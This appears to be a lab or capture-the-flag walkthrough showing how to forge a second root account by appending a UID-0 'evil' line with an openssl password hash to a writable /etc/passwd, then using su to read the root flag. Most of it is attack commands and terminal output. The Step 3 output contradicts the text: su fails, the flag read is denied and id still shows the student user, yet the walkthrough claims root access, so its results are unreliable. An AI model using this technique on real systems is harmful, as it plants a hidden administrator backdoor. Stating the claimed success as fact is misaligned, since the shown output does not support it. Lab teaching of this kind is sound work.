Forging a root account

Step 1 — make a password hash

You will set a password for your new account. Turn a plaintext password into a hash the system understands with openssl:

openssl passwd -1 pass123

In the terminal (prints a hash like $1$...; yours will differ)

student@vulntech:~$ openssl passwd -1 pass123
$1$rHs4Ax7a$W0.Mrm1VxforZBpZ6w/bo1

Step 2 — append a UID-0 account

Because /etc/passwd is writable, you can add a brand-new account with UID 0. This one command builds the line (putting the hash in the password field) and appends it:

echo "evil:$(openssl passwd -1 pass123):0:0::/root:/bin/bash" >> /etc/passwd
tail -n1 /etc/passwd

In the terminal (a new account 'evil' with UID 0 — a second root)

student@vulntech:~$ echo "evil:$(openssl passwd -1 pass123):0:0::/root:/bin/bash" >> /etc/passwd
student@vulntech:~$ tail -n1 /etc/passwd
evil:$1$D2qZdITy$ywImNz9z1N28qC8q9bYY81:0:0::/root:/bin/bash

Step 3 — become root

Switch to your new account with su and give the password you chose. Its UID is 0, so you are now root and can read the flag:

su evil
cat /root/root.txt
id
exit

In the terminal

student@vulntech:~$ su evil
su: user evil does not exist or the user entry does not contain all the required fields
student@vulntech:~$ cat /root/root.txt
cat: /root/root.txt: Permission denied
student@vulntech:~$ id
uid=1000(student) gid=1000(student) groups=1000(student)
student@vulntech:~$ exit
logout

login: student (automatic login)

Tip: Nothing stopped you from naming the account evil and still being root — the system only checks the UID. Writable system files like this are why file permissions are the first thing a defender locks down.